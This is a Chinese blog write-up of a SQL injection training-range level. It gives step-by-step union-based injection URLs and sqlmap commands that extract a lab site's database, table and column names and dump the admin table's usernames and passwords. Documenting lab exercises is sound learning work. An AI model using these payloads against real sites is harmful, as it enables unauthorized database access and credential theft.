第一章:为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】
前言
感觉要失业了,开启找大佬付费学习的阶段。
游戏规则:本人将自己的存款交与大佬师傅保管,大佬师傅给本人布置学习任务。无论本人任务完成到哪里,只要有产出(一篇博客),就会有 100 元。
任务:
- 完成封神台靶场,博客一篇,并将博客内容给大佬师傅进行讲述 ¥ 100(每日任务,只能完成一次)
- 封神台每一关 ¥ 100(不设上限)
为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】
Tips:
通过sql注入拿到管理员密码!
若弹窗提示登录或者出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

登陆后台
通过传送门,输入用户名zkaq,密码zkaq ,来到后台
点击查看新闻一,来到 http://pu2lh35s.ia.aqlab.cn/?id=1 页面
将 ?id=1 改成 ?id=2 来到一个新的页面
显然,猫舍这个网站,ta 是通过 GET 方式进行传参的



SQL注入
什么是SQL注入
SQL注入是一种常见的网络安全攻击方式,攻击者通过将恶意的SQL代码插入到应用程序的输入字段中,从而欺骗数据库服务器执行非授权操作。这种攻击可以导致数据泄露、数据损坏甚至服务器被完全控制等严重后果。
https://developer.aliyun.com/article/1584268

我理解的 SQL 注入
在 原有的SQL查询语句 上,构造 新的SQL查询语句
设原有的SQL查询语句
$sql = "SELECT * FROM users WHERE id=$id ";
构造的新的SQL查询语句
$sql = "SELECT * FROM users WHERE id=$id union select version(),database() --+";
判断闭合
使用数学运算判断闭合
减法运算 2-1 页面正常显示,且显示的是 id 为 1 的页面,说明这是一个数字型的注入
如果是字符型注入,则需要测试闭合

使用排序功能判断列数
order by 的作用:ORDER BY 关键字可以使查询返回的「结果集」按照指定的列进行排序,可以按照某「一列」排序或者同时按照「多列」进行排序
使用 order by 对 列3 进行排序,发现内容为空,我猜测表的内容只有 2列


确定回显点
目前已经用 order by 判断出了表格的列数
那么接下来,要去确认能够返回查询结果的位置
通过联合查询语句,得出结论:能够获取查询结果的位置是 列2
http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,22222222

数据库名称获取
数据库的名称是:maoshe
http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,database()

表格名称获取
http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,group_concat(table_name) from information_schema.tables where table_schema='maoshe'

获取表内的字段
直觉告诉我,admin 这个表很可疑,我选择去看 admin 中的字段名
http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,group_concat(column_name) from information_schema.columns where table_name='admin'

获取username,password
http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,group_concat(username,0x3a,password) from admin

使用 SQLMAP 速通
检测注入点
python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq"

获取所有数据库
python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" --dbs

获取当前数据库的表
python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" --tables

获取指定表的列信息
python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" -D maoshe -T admin --columns

获取用户名和密码
python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" -D maoshe -T admin -C "username,password" --dump


浙公网安备 33010602011771号